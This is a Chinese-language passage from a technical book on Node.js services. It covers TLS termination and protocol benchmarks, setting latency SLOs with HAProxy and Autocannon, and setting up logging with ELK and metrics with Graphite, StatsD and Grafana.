首先,测试在 Node.js 进程内执行 TLS 终止。对于此测试,请使用相同的 recipe-api/producer-https-basic.js 文件,该文件在 示例 2-7 中创建,同时注释掉请求处理程序中的任何 console.log 语句:
$ PORT=3001 node recipe-api/producer-https-basic.js
$ haproxy -f haproxy/passthru.cfg
$ autocannon -d 60 -c 10 https://localhost:3000/recipes/42
表 3-9 包含了在我的机器上运行此负载测试的结果。
表 3-9. 原生 Node.js TLS 终止吞吐量
| 统计 | 1% | 2.5% | 50% | 97.5% | 平均 | 标准差 | 最小 |
|---|---|---|---|---|---|---|---|
| 每秒请求 | 7,263 | 11,991 | 13,231 | 18,655 | 13,580.7 | 1,833.58 | 7,263 |
| 字节/秒 | 2.75 MB | 4.53 MB | 5 MB | 7.05 MB | 5.13 MB | 693 kB | 2.75 MB |
接下来,为了测试 HAProxy,使用在 示例 1-6 中创建的 recipe-api/producer-http-basic.js 文件(再次注释掉 console.log 调用),以及来自 示例 3-8 的 haproxy/tls.cfg 文件:
$ PORT=3001 node recipe-api/producer-http-basic.js
$ haproxy -f haproxy/tls.cfg
$ autocannon -d 60 -c 10 https://localhost:3000/recipes/42
表 3-10 包含了在我的机器上运行此负载测试的结果。
表 3-10. HAProxy TLS 终止吞吐量
| 统计 | 1% | 2.5% | 50% | 97.5% | 平均 | 标准差 | 最小 |
|---|---|---|---|---|---|---|---|
| 每秒请求 | 960 | 1,108 | 1,207 | 1,269 | 1,202.32 | 41.29 | 960 |
| 字节/秒 | 216 kB | 249 kB | 272 kB | 286 kB | 271 kB | 9.29 kB | 216 kB |
在这种情况下,当使用 HAProxy 而不是 Node.js 执行 TLS 终止时,会出现巨大的性能惩罚!不过,要以谨慎的态度看待这一点。到目前为止使用的 JSON 有效负载约为 200 字节长。使用大于 20kb 的较大有效负载时,通常在执行 TLS 终止时,HAProxy 的表现优于 Node.js。
象所有基准测试一样,测试您的应用程序在您的环境中的情况非常重要。本书中使用的服务非常简单;一个“真实”的应用程序,像模板渲染那样进行 CPU 密集型工作,并发送带有不同有效负载大小的文档,将完全不同。
协议问题
现在,您将对先前涵盖的一些协议进行负载测试,即 JSON over HTTP、GraphQL 和 gRPC。由于这些方法会改变有效载荷内容,因此测量它们在网络上传输的性能将比在“反向代理关注点”中更为重要。此外,请记住,像 gRPC 这样的协议更有可能用于跨服务流量而不是外部流量。因此,我将在同一云提供商数据中心的两台不同机器上运行这些负载测试。
对于这些测试,您的方法将稍作弊。理想情况下,您会从头开始构建一个客户端,该客户端能够本地使用被测试的协议,并且能够测量吞吐量。但是由于您已经构建了接受 HTTP 请求的web-api客户端,您将简单地将 Autocannon 指向这些客户端,这样您就不需要构建三个新的应用程序。这在图 3-9 中有可视化展示。
由于存在额外的网络跳跃,这种方法无法准确地测量性能,例如 X 比 Z 快 Y%。但可以按照实现 Node.js 中使用这些特定库的顺序排列它们的性能,从最快到最慢。

图 3-9. 在云中进行基准测试
如果您有云服务提供商的访问权限,并且有一些闲钱,可以随时启动两个新的 VPS 实例,并将到目前为止已有的examples/目录复制到它们上。您应该使用至少两个 CPU 核心的机器。这在客户端尤为重要,因为 Autocannon 和web-api可能会与单个核心竞争 CPU 访问权。否则,您也可以在开发机器上运行示例,此时可以省略TARGET环境变量。
请确保在以下每个示例中,用recipe-api服务的 IP 地址或主机名替换<RECIPE_API_IP>。
JSON over HTTP 基准测试
这次的负载测试将使用示例 1-6 中创建的recipe-api/producer-http-basic.js服务,通过示例 1-7 中创建的web-api/consumer-http-basic.js服务发送请求:
# Server VPS
$ HOST=0.0.0.0 node recipe-api/producer-http-basic.js
# Client VPS
$ TARGET=<RECIPE_API_IP>:4000 node web-api/consumer-http-basic.js
$ autocannon -d 60 -c 10 -l http://localhost:3000
我在图 3-10 中的基准测试结果。

图 3-10. JSON over HTTP 基准测试
GraphQL 基准测试
这次的负载测试将使用示例 2-11 中创建的recipe-api/producer-graphql.js服务,通过示例 2-12 中创建的web-api/consumer-graphql.js服务发送请求:
# Server VPS
$ HOST=0.0.0.0 node recipe-api/producer-graphql.js
# Client VPS
$ TARGET=<RECIPE_API_IP>:4000 node web-api/consumer-graphql.js
$ autocannon -d 60 -c 10 -l http://localhost:3000
我在图 3-11 中的负载测试结果。

图 3-11. GraphQL 基准测试
gRPC 基准测试
最后的负载测试将通过 web-api/consumer-grpc.js 服务(示例 2-15 创建)向 recipe-api/producer-grpc.js 服务(示例 2-14 创建)发送请求:
# Server VPS
$ HOST=0.0.0.0 node recipe-api/producer-grpc.js
# Client VPS
$ TARGET=<RECIPE_API_IP>:4000 node web-api/consumer-grpc.js
$ autocannon -d 60 -c 10 -l http://localhost:3000
我在这个负载测试中的结果出现在 图 3-12。

第 3-12 图。gRPC 基准测试
结论
根据这些结果,通过 HTTP 的 JSON 通常是最快的,GraphQL 是第二快的,gRPC 是第三快的。同样,这些结果将在真实的应用程序中发生变化,特别是在处理更复杂的有效负载或服务器彼此距离较远时。
这是因为 JSON.stringify() 在 V8 中被极大地优化,所以任何其他的序列化器在效率上都会遇到困难。GraphQL 有自己的解析器用于解析查询字符串,这会增加一些额外的延迟,与仅使用 JSON 表示的查询相比。gRPC 需要进行大量的 Buffer 工作来将对象序列化和反序列化为二进制。这意味着 gRPC 在像 C++ 这样的静态、编译语言中应该比在 JavaScript 中更快。
制定 SLO
SLO 可以涵盖服务的许多不同方面。其中一些是业务相关的需求,比如服务永远不会为单次购买向客户多次收费。其他更通用的 SLO 是本节的主题,比如服务的 TP99 延迟为 200ms,并且可用性为 99.9%。
制定延迟的 SLO 可能会有些棘手。首先,您的应用程序提供响应的时间可能取决于上游服务返回其响应的时间。如果您首次采用 SLO 的概念,您将需要上游服务也制定自己的 SLO。否则,当其服务延迟从 20ms 增加到 40ms 时,谁知道他们是否真的做错了什么?
还要记住的一件事是,您的服务很可能在一天中的某些时间和一周的某些天收到更多的流量,特别是如果流量受人们互动的影响。例如,在线零售商使用的后端服务将在星期一、晚上和接近假期时收到更多的流量,而定期接收传感器数据的服务将始终以相同的速率处理数据。无论您决定采取什么样的 SLO,它们都需要在高峰流量期间保持真实。
使性能测量变得困难的另一件事是“嘈杂的邻居”的概念。这是一个问题,当服务运行在带有其他服务的机器上时,其他服务消耗了太多资源,如 CPU 或带宽。这可能导致您的服务响应时间更长。
刚开始使用 SLO 时,对您的服务进行负载测试是一个有用的起点。例如,图 3-13 是我建立的一个生产应用的基准测试结果。通过这项服务,TP99 的延迟为 57ms。要使其更快,需要进行性能优化工作。
在对服务进行负载测试时,确保完全模拟生产环境情况非常重要。例如,如果真实的消费者通过反向代理发出请求,则确保您的负载测试也通过同样的反向代理进行,而不是直接连接到服务。

图 3-13. 生产应用基准测试
还需要考虑的另一件事是您服务的消费者期望什么。例如,如果您的服务在用户输入查询时为自动完成表单提供建议,则响应时间低于 100ms 至关重要。另一方面,如果您的服务触发银行贷款的创建,则 60 秒的响应时间可能也是可以接受的。
如果下游服务有严格的响应时间要求,而当前无法满足,您需要找到一种方法使您的服务更具性能。您可以尝试增加更多服务器来解决问题,但通常需要深入代码,提升性能。在考虑合并代码时,考虑添加性能测试。"自动化测试"详细讨论了自动化测试。
当确定延迟 SLO 时,您将希望确定运行多少服务实例。例如,您可能有一个 TP99 响应时间为 100ms 的 SLO。也许单个服务器在处理每分钟 500 个请求时能够达到这个水平。然而,当流量增加到每分钟 1,000 个请求时,TP99 降至 150ms。在这种情况下,您需要添加第二个服务。尝试添加更多服务,并在不同速率下测试负载,以了解需要多少服务来增加您的流量两倍、三倍甚至十倍。
Autocannon 使用 -R 标志来指定每秒确切的请求数。使用此功能向您的服务发送确切速率的请求。一旦这样做,您可以在不同的请求速率下测量您的应用,并找出它在预期延迟下停止执行的位置。一旦发生这种情况,请添加另一个服务实例并再次测试。使用此方法,您将知道需要多少服务实例才能满足基于不同总体吞吐量的 TP99 SLO。
使用示例 3-2 中创建的cluster-fibonacci.js应用程序作为指南,您现在将尝试仅测量这一点。这个应用程序,限制斐波那契数为 10,000,是模拟一个真实服务的尝试。您希望保持的 TP99 值为 20ms。基于示例 3-14 中的内容创建另一个 HAProxy 配置文件haproxy/fibonacci.cfg。随着添加新的服务实例,您将迭代该文件。
示例 3-14. haproxy/fibonacci.cfg
defaults
mode http
frontend inbound
bind localhost:5000
default_backend fibonacci
backend fibonacci
server fibonacci-1 localhost:5001
# server fibonacci-2 localhost:5002
# server fibonacci-3 localhost:5003
这个应用程序稍微 CPU 密集。添加一个 sleep 语句来模拟慢数据库连接,这样可以使事件循环更加繁忙。引入一个类似这样的sleep()函数,使请求至少要花费额外的 10ms:
// Add this line inside the server.get async handler
await sleep(10);
// Add this function to the end of the file
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
接下来,运行一个cluster-fibonacci.js实例,以及 HAProxy,使用以下命令:
$ PORT=5001 node cluster-fibonacci.js # later run with 5002 & 5003
$ haproxy -f haproxy/fibonacci.cfg
$ autocannon -d 60 -c 10 -R 10 http://localhost:5000/10000
我的 TP99 值为 18ms,低于 20ms 的 SLO,因此我知道一个实例至少可以处理 10 个 r/s 的流量。那么,现在将该值加倍!通过将-R标志设置为 20 再次运行 Autocannon 命令。在我的机器上,该值现在是 24ms,太高了。当然,你的结果可能会有所不同。继续调整每秒请求数值,直到达到 20ms 的 TP99 SLO 阈值。此时,您已经发现了服务单实例每秒请求的数量!记下这个数字。
接下来,取消注释haproxy/fibonacci.cfg文件中倒数第二行。同时,运行另一个cluster-fibonacci.js实例,将PORT值设为5002。重新启动 HAProxy 以重新加载修改后的配置文件。然后,再次运行 Autocannon 命令,并增加流量。增加每秒请求数,直到再次达到阈值,并记下该值。第三次也要执行相同操作。表 3-11 包含了我的结果。
表 3-11. 斐波那契 SLO
| 实例数量 | 1 | 2 | 3 |
|---|---|---|---|
| 最大 r/s | 12 | 23 | 32 |
有了这些信息,我可以推断,如果我的服务需要以 10 个请求每秒的速度运行,那么单个实例将使我能够满足消费者的 20ms SLO。然而,如果即将到来的假期季节,我知道消费者将以 25 个请求每秒的速度计算第 5000 个斐波那契数列,那么我需要运行三个实例。
如果您在一个目前没有任何性能承诺的组织中工作,我鼓励您测量您服务的性能,并使用当前性能作为起点制定一个 SLO。将该 SLO 添加到您项目的README中,并努力在每个季度改进它。
基准测试结果对于确定初始 SLO 值很有帮助。要知道您的应用程序在生产环境中是否实际达到了 SLO,需要观察真实的生产 SLI。下一章涵盖了应用程序可观察性,可以用来测量 SLI。
^(1) fork()方法的名称灵感来自 fork 系统调用,尽管这两者在技术上无关。
^(2) 在运行多个副本时,更高级的应用程序可能会发现一些竞态条件。
^(3) 这个后端具有隐式设置为roundrobin的balance <algorithm>指令。它可以设置为leastconn以将请求路由到连接最少的实例,source以将客户端按 IP 一致路由到一个实例,并且还提供了几种其他算法选项。
^(4) 每当您想要查看更新的统计信息时,您需要手动刷新页面;该页面仅显示静态快照。
^(5) 无论性能如何,暴露在互联网上的服务都必须加密。
第四章:可观察性
本章专注于观察在远程机器上运行的 Node.js 服务。在本地,像调试器或console.log()这样的工具使得这个过程非常直接。然而,一旦服务在远方运行,你就需要借助不同的工具集。
在本地调试时,通常关注的是单个请求。你可能会问自己:“当我将这个值传递给请求时,为什么我在响应中得到那个值?”通过记录函数的内部工作原理,你可以深入了解函数为何表现出意外的方式。本章还探讨了对调试单个请求有用的技术。“使用 ELK 进行日志记录”介绍了日志生成,这是一种类似于使用console.log()打印信息的方式。稍后,“使用 Zipkin 进行分布式请求跟踪”介绍了一种跟踪请求的工具,它会关联不同服务生成的相关日志。
在处理生产流量时,通常需要深入了解通常不被视为严重错误的情况。例如,你可能会问:“为什么在 2020 年 4 月之前创建的用户的 HTTP 请求要慢 100 毫秒?”单个请求的这种时序可能并不令人担忧,但当考虑到多个请求的总体度量时,你可以发现性能下降的趋势。“使用 Graphite、StatsD 和 Grafana 进行度量”更详细地介绍了这一点。
这些工具大多数以某种仪表板 passively 显示信息,工程师稍后可以查阅以确定问题的根源。“使用 Cabot 进行警报”介绍了如何在应用程序性能低于某个阈值时向开发人员发送警告,从而使工程师能够在问题发生之前防止停机。
到目前为止,这些概念都是被动的,开发人员必须查看从应用程序捕获的数据。有时需要更主动的方法。“健康检查”介绍了应用程序如何确定其是否健康并能够提供请求,或者是否不健康并应该被终止。
环境
环境是区分应用程序实例和数据库之间运行的概念的概念。它们的重要性有多种原因,包括选择要将流量路由到哪些实例,保持度量和日志的分离(这在本章中尤为重要),为安全性隔离服务,以及在将应用程序代码检出到生产环境之前获得其稳定性的信心。
各个环境应该相互隔离。如果你控制自己的硬件,这可能意味着在不同的物理服务器上运行不同的环境。如果你将应用程序部署到云上,这更可能意味着设置不同的 VPCs(虚拟私有云)——这是 AWS 和 GCP 都支持的概念。
至少,任何应用程序都需要至少一个生产环境。这个环境负责处理公共用户的请求。然而,你可能需要比这更多的环境,特别是当你的应用程序在复杂性上增长时。
作为一个惯例,Node.js 应用程序通常使用NODE_ENV环境变量来指定实例运行的环境。可以通过不同的方式设置这个值。对于测试,可以像以下示例一样手动设置,但对于生产使用,无论你使用哪种部署工具,都会抽象化这个过程:
$ export NODE_ENV=production
$ node server.js
选择部署到不同环境的代码的哲学,使用的分支和合并策略,甚至选择哪种 VCS(版本控制系统),这些都超出了本书的范围。但是,最终会选择代码库的特定快照来部署到特定环境。
选择支持的环境也很重要,也超出了本书的范围。通常公司至少会有以下环境:
开发环境
用于本地开发。其他服务可能知道忽略与该环境相关的消息。不需要生产环境所需的一些后备存储;例如,日志可能会写入stdout,而不是传输到收集器。
暂存环境
表示生产环境的精确副本,如机器规格和操作系统版本。可能会通过每晚的 cron 作业将生产环境的匿名数据库快照复制到暂存数据库。
生产环境
处理真实生产流量的地方。可能比暂存运行更多服务实例;例如,也许暂存运行两个应用程序实例(始终运行多于一个),但生产运行八个。
环境字符串必须在所有应用程序中保持一致,无论是使用 Node.js 编写的应用程序还是其他平台的应用程序。这种一致性将避免许多头痛。如果一个团队称环境为暂存,而另一个称其为预发布,那么查询相关消息的日志就会变得容易出错。
环境值不一定用于配置,例如,有一个查找映射,其中环境名称与数据库的主机名相关联。理想情况下,任何动态配置应通过环境变量提供。相反,环境值主要用于与可观察性相关的事物。例如,日志消息应该附加环境,以帮助将任何日志与给定的环境关联起来,如果一个日志服务确实跨环境共享,这一点尤为重要。“应用程序配置”深入探讨了配置。
记录日志使用 ELK
ELK,或更具体地说,ELK 栈,是对由Elastic构建的三个开源工具 Elasticsearch、Logstash 和 Kibana 的引用。当这些强大的工具组合在一起时,它们通常是在本地收集日志的首选平台。单独地,每个工具都有不同的用途:
Elasticsearch
一个具有强大查询语法的数据库,支持自然文本搜索等功能。在这本书涵盖的情况之外,它在许多其他情况下也很有用,如果您需要构建搜索引擎,值得考虑。它通过 HTTP API 暴露,并具有默认端口:9200。
Logstash
用于从多个来源摄取和转换日志的服务。您将创建一个接口,以便它可以通过用户图协议(UDP)摄取日志。它没有默认端口,因此我们将只使用:7777。
Kibana
一个用于构建可视化存储在 Elasticsearch 中的数据的仪表板的 Web 服务。它通过端口:5601暴露了一个 HTTP Web 服务。
图 4-1 描述了这些服务及其关系,以及它们如何在即将的示例中使用 Docker 封装。

图 4-1. ELK 栈
预计您的应用程序将传输格式良好的 JSON 日志,通常是一个或两个级别深的对象。这些对象包含有关所记录消息的通用元数据,例如时间戳、主机和 IP 地址,以及消息本身的特定信息,例如级别/严重性、环境和可读消息。有多种配置 ELK 来接收这些消息的方法,例如将日志写入文件并使用 Elastic 的 Filebeat 工具来收集它们。本节中使用的方法将配置 Logstash 监听传入的 UDP 消息。
通过 Docker 运行 ELK
为了亲自动手,您将运行一个包含所有三个服务的单个 Docker 容器。 (请确保已安装 Docker——有关更多信息,请参阅 Appendix B。)这些示例不会启用磁盘持久性。在更大的组织中,每个这些服务在专用机器上安装时都会表现更好,并且当然,持久性是至关重要的。
为了配置 Logstash 监听 UDP 消息,首先必须创建一个配置文件。此文件的内容可在 Example 4-1 中找到,并可以放置在 misc/elk/udp.conf 的新目录中。创建文件后,您将通过使用 -v 卷标志将其可用于运行在 Docker 容器内部的 Logstash 服务。
Example 4-1. misc/elk/udp.conf
input {
udp {
id => "nodejs_udp_logs"
port => 7777
codec => json
}
}
output {
elasticsearch {
hosts => ["localhost:9200"]
document_type => "nodelog"
manage_template => false
index => "nodejs-%{+YYYY.MM.dd}"
}
}
注意
为了简洁起见,这些示例使用 UDP 发送消息。这种方法不具备其他方法的一些特性,比如传递保证或反压力支持,但它减少了应用程序的开销。请务必为您的用例研究最佳工具。
创建文件后,您可以使用 Example 4-2 中的命令运行容器。如果在基于 Linux 的系统上运行 Docker,则需要在容器正确运行之前运行 sysctl 命令,并且如果需要,可以省略 -e 标志。否则,如果在 macOS 上运行 Docker,则跳过 sysctl 标志。
Example 4-2. 在 Docker 中运行 ELK
$ sudo sysctl -w vm.max_map_count=262144 # Linux Only
$ docker run -p 5601:5601 -p 9200:9200 \
-p 5044:5044 -p 7777:7777/udp \
-v $PWD/misc/elk/udp.conf:/etc/logstash/conf.d/99-input-udp.conf \
-e MAX_MAP_COUNT=262144 \
-it --name distnode-elk sebp/elk:683
此命令从 Dockerhub 下载文件并配置服务,可能需要几分钟才能运行。一旦您的控制台稍微安静下来,请在浏览器中访问 http://localhost:5601。如果看到成功消息,则服务现在已准备好接收消息。
从 Node.js 传输日志
对于这个示例,您将再次开始修改一个现有的应用程序。将 Example 1-7 中创建的 web-api/consumer-http-basic.js 文件复制到 web-api/consumer-http-logs.js 作为起点。接下来,修改文件使其看起来像 Example 4-3 中的代码。
Example 4-3. web-api/consumer-http-logs.js
#!/usr/bin/env node
// npm install fastify@3.2 node-fetch@2.6 middie@5.1 const server = require('fastify')();
const fetch = require('node-fetch');
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
const log = require('./logstash.js'); 
(async () => {
await server.register(require('middie')); 
server.use((req, res, next) => { 
log('info', 'request-incoming', { 
path: req.url, method: req.method, ip: req.ip,
ua: req.headers['user-agent'] || null });
next();
});
server.setErrorHandler(async (error, req) => {
log('error', 'request-failure', {stack: error.stack, 
path: req.url, method: req.method, });
return { error: error.message };
});
server.get('/', async () => {
const url = `http://${TARGET}/recipes/42`;
log('info', 'request-outgoing', {url, svc: 'recipe-api'}); 
const req = await fetch(url);
const producer_data = await req.json();
return { consumer_pid: process.pid, producer_data };
});
server.get('/error', async () => { throw new Error('oh no'); });
server.listen(PORT, HOST, () => {
log('verbose', 'listen', {host: HOST, port: PORT}); 
});
})();
新的 logstash.js 文件现在正在加载。
middie 包允许 Fastify 使用通用中间件。
一个用于记录传入请求的中间件。
传递请求数据的记录器调用。
用于记录错误的通用中间件。
记录有关出站请求的信息。
记录有关服务器启动的信息。
此文件记录了一些关键信息。首先记录了服务器启动的时间。第二组信息通过一个通用的中间件处理程序。它记录了任何传入请求的数据,包括路径、方法、IP 地址和用户代理。这类似于传统 Web 服务器的访问日志。最后,应用程序跟踪到recipe-api服务的出站请求。
logstash.js文件的内容可能更有趣。npm 上有许多库可用于将日志传输到 Logstash(@log4js-node/logstashudp就是其中之一)。这些库支持几种传输方法,包括 UDP。由于发送日志的机制如此简单,你将从头开始重现一个版本。这对教育目的非常有用,但对于生产应用程序,从 npm 中选择一个功能齐全的包会更好。
创建一个名为web-api/logstash.js的新文件。与迄今为止创建的其他 JavaScript 文件不同,这个文件不会直接执行。将示例 4-4 中的内容添加到此文件。
示例 4-4. web-api/logstash.js
const client = require('dgram').createSocket('udp4'); 
const host = require('os').hostname();
const [LS_HOST, LS_PORT] = process.env.LOGSTASH.split(':'); 
const NODE_ENV = process.env.NODE_ENV;
module.exports = function(severity, type, fields) {
const payload = JSON.stringify({ 
'@timestamp': (new Date()).toISOString(),
"@version": 1, app: 'web-api', environment: NODE_ENV,
severity, type, fields, host
});
console.log(payload);
client.send(payload, LS_PORT, LS_HOST);
};
内置的dgram模块发送 UDP 消息。
Logstash 位置存储在LOGSTASH中。
日志消息中发送了多个字段。
这个基本的 Logstash 模块导出一个应用代码调用的函数来发送日志。许多字段是自动生成的,比如@timestamp,它表示当前时间。app字段是正在运行的应用程序的名称,不需要被调用者覆盖。其他字段,如severity和type,是应用程序经常更改的字段。fields字段表示应用程序可能想提供的额外的键/值对。
severity字段(在其他日志框架中通常称为日志级别)指的是日志的重要性。大多数日志包支持以下六个值,最初由 npm 客户端流行起来:error、warn、info、verbose、debug、silly。使用更“完整”的日志包通常通过环境变量设置日志阈值。例如,通过将最小严重性设置为verbose,任何具有更低严重性的消息(即debug和silly)将被丢弃。过于简单的logstash.js模块不支持此功能。
一旦负载被构建,它就会被转换为 JSON 字符串并打印到控制台以帮助了解正在发生的事情。最后,进程尝试将消息传输到 Logstash 服务器(应用程序无法知道消息是否已传递;这是 UDP 的缺点)。
现在已创建了两个文件,是时候测试应用程序了。运行 示例 4-5 中的命令。这将启动一个新的 web-api 服务实例,以及前一个 recipe-api 服务的一个实例,并将一系列请求发送到 web-api。一旦 web-api 启动,将立即发送一个日志,并且每个传入的 HTTP 请求将发送两个额外的日志。请注意,watch 命令将持续执行同一行后面的命令,并且需要在单独的终端窗口中运行。
示例 4-5. 运行 web-api 并生成日志
$ NODE_ENV=development LOGSTASH=localhost:7777 \
node web-api/consumer-http-logs.js
$ node recipe-api/producer-http-basic.js
$ brew install watch # required for macOS
$ watch -n5 curl http://localhost:3000
$ watch -n13 curl http://localhost:3000/error
这不是很激动人心吗?嗯,并不完全是。现在您将进入 Kibana 并查看发送的日志。让watch命令在后台继续运行;在您使用 Kibana 时,它们将保持数据的新鲜。
创建 Kibana 仪表板
现在应用程序正在将数据发送到 Logstash,并且 Logstash 正在将数据存储在 Elasticsearch 中,是时候打开 Kibana 并探索这些数据了。打开您的浏览器并访问 http://localhost:5601。此时,您应该会看到 Kibana 仪表板的欢迎界面。
在仪表板中,点击左侧的最后一个选项卡,标题为 管理。接下来,找到 Kibana 选项部分,然后点击索引模式选项。点击创建索引模式。对于步骤 1,输入一个索引模式为 nodejs-*。您应该会看到下方显示一个小的“成功!”消息,因为 Kibana 正在将您的查询与结果相关联。点击下一步。对于步骤 2,点击时间过滤器下拉菜单,然后点击 @timestamp 字段。最后,点击创建索引模式。您现在已创建了一个名为 nodejs-* 的索引,可以用来查询这些值。
点击左侧的第二个选项卡,标题为 可视化。接下来,点击屏幕中央的创建新可视化按钮。您将看到几种不同的选项来创建可视化,包括图 4-2 中显示的选项,但现在只需点击垂直条形图选项。

图 4-2. Kibana 可视化
选择刚创建的 nodejs-* 索引。完成后,您将被带到一个新的屏幕来微调可视化。默认的图表并不太有趣;它只显示一个条形图,显示与 nodejs-* 索引匹配的所有日志的计数。但这不会持续太久。
现在的目标是创建一个图表,显示 web-api 服务接收传入请求的速率。首先添加一些过滤器,以缩小结果范围,只包含适用的条目。点击屏幕左上角附近的添加过滤器链接。在字段下拉菜单中输入值 type。在操作字段中,将其设置为 is。在值字段中输入值 request-incoming,然后点击保存。接下来再次点击添加过滤器,并重复上述操作,但这次将字段设置为 app,操作设置为 is,值设置为 web-api。
对于指标部分,保留显示计数,因为它应显示请求的数量,并且匹配的日志消息与真实请求一一对应。
对于桶部分,应更改为按时间分组。点击添加桶链接,选择 X 轴。在聚合下拉菜单中,选择日期直方图。点击位于指标部分上方的带有播放符号的蓝色按钮(标题为应用更改),图表将更新。默认设置为按 @timestamp 分组,并具有自动间隔,这是不错的。
在右上角有一个下拉菜单,可以更改查询日志的时间范围。点击下拉菜单,将其配置为显示最近一小时内的日志,然后点击右侧大的刷新按钮。如果一切顺利,您的屏幕应该看起来像 图 4-3。

图 4-3. Kibana 中随时间变化的请求
完成图表后,点击 Kibana 屏幕顶部的保存链接。将可视化命名为 web-api 传入请求。接下来,创建一个类似的可视化,但这次将 type 字段设置为 request-outgoing,并将其命名为 web-api 传出请求。最后,创建第三个可视化,将 type 字段设置为 listen,并将其命名为 web-api 服务器启动。
接下来,您将为这三个可视化创建一个仪表板。选择侧边栏中的第三个选项标题为仪表板。然后,点击创建新仪表板。将出现一个模态窗口,其中包含您的三个可视化。点击每个可视化,它将被添加到仪表板中。添加完每个可视化后,关闭模态窗口。点击屏幕顶部的保存链接,并将仪表板保存为 web-api 概述。
恭喜!您已创建包含从应用程序提取的信息的仪表板。
运行特定查询
有时您需要对正在记录的数据运行任意查询,而不需要相关的仪表板。这在一次性调试情况下非常有帮助。在本节中,您将编写任意查询,以提取关于应用程序错误的信息。
单击左侧边栏中的第一个选项卡,标题为 Discover。这是一个方便的查询运行场所,无需将其提交到仪表板中。默认情况下,屏幕顶部的搜索字段显示所有最近接收到的消息的列表。单击屏幕顶部的搜索字段内部。然后,输入以下查询到搜索字段并按 Enter 键:
app:"web-api" AND (severity:"error" OR severity:"warn")
此查询的语法是用Kibana 查询语言(KQL)编写的。基本上,它包含三个子句。它要求获取属于web-api应用程序且severity级别设置为error或warn(换句话说,非常重要的事情)的日志。
单击列表中某个日志条目旁边的箭头符号。这将展开单个日志条目,并允许您查看与日志关联的整个 JSON 负载。能够查看这种任意日志消息的能力是日志记录功能的强大所在。借助这个工具,您现在能够查找从服务中记录的所有错误。
通过记录更多数据,您将能够深入了解特定错误情况的详细信息。例如,您可能会发现,在某些情况下(例如用户通过PUT /recipe更新食谱时),应用程序内的特定端点受到错误的影响。通过访问堆栈跟踪以及有关请求的足够上下文信息,您随后可以在本地重新创建条件,重现错误,并提出修复方案。
警告
本节介绍了从应用程序内部传输日志,这是一个固有的异步操作。不幸的是,当进程崩溃时生成的日志可能不会及时发送。许多部署工具可以读取stdout中的消息,并代表应用程序将它们传输,这增加了它们被传送的可能性。
本节讨论了存储日志的问题。当然,这些日志可以用来在图表中显示数字信息,但这不一定是最有效的系统,因为日志存储复杂对象。下一节,“使用 Graphite、StatsD 和 Grafana 进行指标监控”,将使用不同的工具集来存储更有趣的数字数据。
使用 Graphite、StatsD 和 Grafana 进行指标监控
“使用 ELK 进行日志记录”介绍了从运行中的 Node.js 进程传输日志。这些日志格式化为 JSON,可根据每个日志进行索引和搜索。这非常适合阅读与特定运行进程相关的消息,例如阅读变量和堆栈跟踪。然而,有时您可能并不一定关心单个数字数据的情况,而是想了解数据的聚合情况,通常这些值随着时间的推移而增长和减少。
本节探讨发送指标。指标是与时间相关的数值数据。这可以包括请求速率、2XX 与 5XX HTTP 响应的数量、应用程序与后端服务之间的延迟、内存和磁盘使用情况,甚至像美元收入或取消支付等业务统计信息。可视化这些信息对于理解应用程序健康状况和系统负载至关重要。
就像在日志部分一样,这里将使用一组工具而不是单一的工具。然而,这个堆栈并没有像 ELK 那样引人注目的缩写,通常可以替换不同的组件。本节考虑的堆栈是 Graphite、StatsD 和 Grafana:
石墨
一个服务(Carbon)和时间序列数据库(Whisper)的组合。它还配备了一个 UI(Graphite Web),不过通常使用更强大的 Grafana 界面。
StatsD
一个使用 Node.js 构建的守护进程,用于收集指标。它可以监听 TCP 或 UDP 上的统计信息,然后将聚合发送到后端,如 Graphite。
Grafana
一个 web 服务,查询时间序列后端(如 Graphite),并在可配置的仪表板中显示信息。
图 4-4 展示了这些服务的图示及其关系。Docker 的边界代表了接下来示例将使用的内容。

图 4-4. 石墨、StatsD 和 Grafana
就像在日志部分一样,这些示例将使用 UDP 传输数据。由于指标的快速生成特性,使用 UDP 将有助于防止应用程序被压倒。
通过 Docker 运行
示例 4-6 启动了两个独立的 Docker 容器。第一个容器 graphiteapp/graphite-statsd 包含 StatsD 和 Graphite。该容器暴露了两个端口。Graphite UI/API 通过端口 :8080 暴露,而 StatsD UDP 指标收集器通过 :8125 暴露。第二个容器 grafana/grafana 包含 Grafana。为该容器暴露了一个用于 web 界面的端口 :8000。
示例 4-6. 运行 StatsD + Graphite 和 Grafana
$ docker run \
-p 8080:80 \
-p 8125:8125/udp \
-it --name distnode-graphite graphiteapp/graphite-statsd:1.1.6-1
$ docker run \
-p 8000:3000 \
-it --name distnode-grafana grafana/grafana:6.5.2
一旦容器启动并运行,打开网页浏览器访问 Grafana 仪表板http://localhost:8000/。此时会要求您登录。默认登录凭据为 admin / admin。成功登录后,您将被提示更改密码。这个密码将用于管理 Grafana,但不会在代码中使用。
一旦设置了密码,您将进入一个向导来配置 Grafana。下一步是配置 Grafana 以与 Graphite 映像通信。点击“添加数据源”按钮,然后点击 Graphite 选项。在 Graphite 配置屏幕上,输入 表 4-1 中显示的值。
表格 4-1. 配置 Grafana 使用 Graphite
| 名称 | Dist 节点 图形 |
|---|---|
| URL | http://<LOCAL_IP>:8080 |
| 版本 | 1.1.x |
注意
由于 Docker 容器的运行方式,您将无法在 <LOCAL_IP> 占位符中使用 localhost。而是需要使用您的本地 IP 地址。如果您使用 Linux,请尝试运行 hostname -I,如果您使用 macOS,请尝试运行 ipconfig getifaddr en0。如果您在笔记本电脑上运行,并且您的 IP 地址发生了变化,您需要重新配置 Grafana 中的数据源,以使用新的 IP 地址,否则将无法获取数据。
输入数据后,点击保存并测试。如果看到消息“数据源正在工作”,那么 Grafana 能够与 Graphite 通信,您可以点击返回按钮。如果收到 HTTP 错误 Bad Gateway,请确保 Graphite 容器正在运行,并且已正确输入设置。
现在 Graphite 和 Grafana 已经可以互相通信,是时候修改其中一个 Node.js 服务,开始发送指标了。
从 Node.js 传输指标
StatsD 使用的协议 极其简单,可以说比 Logstash UDP 使用的协议还要简单。递增名为 foo.bar.baz 的指标的示例消息如下:
foo.bar.baz:1|c
此类交互可以非常容易地使用 dgram 模块重新构建,就像前一节一样。但是,此代码示例将使用现有的包。市面上有几种包可供选择,但本示例使用 statsd-client 包。
